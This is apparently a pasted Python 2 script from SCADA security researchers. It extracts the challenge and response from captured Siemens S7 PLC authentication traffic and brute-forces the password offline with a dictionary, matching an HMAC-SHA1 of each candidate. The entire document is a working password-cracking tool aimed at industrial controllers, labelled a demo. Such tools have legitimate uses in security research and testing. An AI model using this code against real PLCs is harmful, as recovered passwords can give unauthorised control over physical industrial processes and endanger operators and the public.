SHOW:
|
|
- or go back to the newest paste.
| 1 | """ | |
| 2 | File: s7-brute-offline.py | |
| 3 | Desc: offline password bruteforsing based on challenge-response data, extracted from auth traffic dump file | |
| 4 | ||
| 5 | Alexander Timorin, Dmitry Sklyarov | |
| 6 | http://scadastrangelove.org | |
| 7 | ||
| 8 | Version: 0.1 (just for demo, don't kick my ass plz) | |
| 9 | """ | |
| 10 | ||
| 11 | import sys | |
| 12 | import hashlib | |
| 13 | import hmac | |
| 14 | from binascii import hexlify | |
| 15 | try: | |
| 16 | from scapy.all import * | |
| 17 | except ImportError: | |
| 18 | print "please install scapy: http://www.secdev.org/projects/scapy/ " | |
| 19 | sys.exit() | |
| 20 | ||
| 21 | ||
| 22 | cfg_pcap_file = '/root/siemens/RE_S7/stop_cpu_cmd_right_pass_123.pcap' | |
| 23 | cfg_dictionary_file = 'dict.txt' | |
| 24 | ||
| 25 | def get_challenge_response(): | |
| 26 | r = rdpcap(cfg_pcap_file) | |
| 27 | ||
| 28 | lens = map(lambda x: x.len, r) | |
| 29 | pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))]) | |
| 30 | ||
| 31 | # try to find challenge packet | |
| 32 | pckt_108 = 0 #challenge packet (from server) | |
| 33 | for (pckt_indx, pckt_len) in pckt_lens.items(): | |
| 34 | if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == '7202002732': | |
| 35 | pckt_108 = pckt_indx | |
| 36 | break | |
| 37 | ||
| 38 | # try to find response packet | |
| 39 | pckt_141 = 0 #response packet (from client) | |
| 40 | _t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ]) | |
| 41 | for pckt_indx in sorted(_t1.keys()): | |
| 42 | pckt_len = _t1[pckt_indx] | |
| 43 | if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == '7202004831': | |
| 44 | pckt_141 = pckt_indx | |
| 45 | break | |
| 46 | ||
| 47 | # try to find auth result packet | |
| 48 | pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok | |
| 49 | pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad | |
| 50 | for pckt_indx in sorted(_t1.keys()): | |
| 51 | pckt_len = _t1[pckt_indx] | |
| 52 | if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == '7202000f32': | |
| 53 | pckt_84 = pckt_indx | |
| 54 | break | |
| 55 | if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == '7202001732': | |
| 56 | pckt_92 = pckt_indx | |
| 57 | break | |
| 58 | ||
| 59 | print "found packets indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d" % (pckt_108, pckt_141, pckt_84, pckt_92) | |
| 60 | if pckt_84: | |
| 61 | print "auth ok" | |
| 62 | else: | |
| 63 | print "auth bad. for brute we need right auth result. exit" | |
| 64 | sys.exit() | |
| 65 | ||
| 66 | challenge = None | |
| 67 | response = None | |
| 68 | ||
| 69 | raw_challenge = hexlify(r[pckt_108].load) | |
| 70 | if raw_challenge[46:52] == '100214' and raw_challenge[92:94] == '00': | |
| 71 | challenge = raw_challenge[52:92] | |
| 72 | print "found challenge: %s" % challenge | |
| 73 | else: | |
| 74 | print "cannot find challenge. exit" | |
| 75 | sys.exit() | |
| 76 | ||
| 77 | raw_response = hexlify(r[pckt_141].load) | |
| 78 | if raw_response[64:70] == '100214' and raw_response[110:112] == '00': | |
| 79 | response = raw_response[70:110] | |
| 80 | print "found response: %s" % response | |
| 81 | else: | |
| 82 | print "cannot find response. exit" | |
| 83 | sys.exit() | |
| 84 | ||
| 85 | return challenge, response | |
| 86 | ||
| 87 | def calculate_s7response(password, challenge): | |
| 88 | challenge = challenge.decode("hex")
| |
| 89 | return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest() | |
| 90 | ||
| 91 | if __name__ == '__main__': | |
| 92 | print "using pcap file: %s" % cfg_pcap_file | |
| 93 | challenge, response = get_challenge_response() | |
| 94 | print "start password bruteforsing ..." | |
| 95 | for p in open(cfg_dictionary_file): | |
| 96 | p = p.strip() | |
| 97 | if response == calculate_s7response(p, challenge): | |
| 98 | print "found password: %s" % p | |
| 99 | sys.exit() | |
| 100 | print "password not found. try another dictionary." |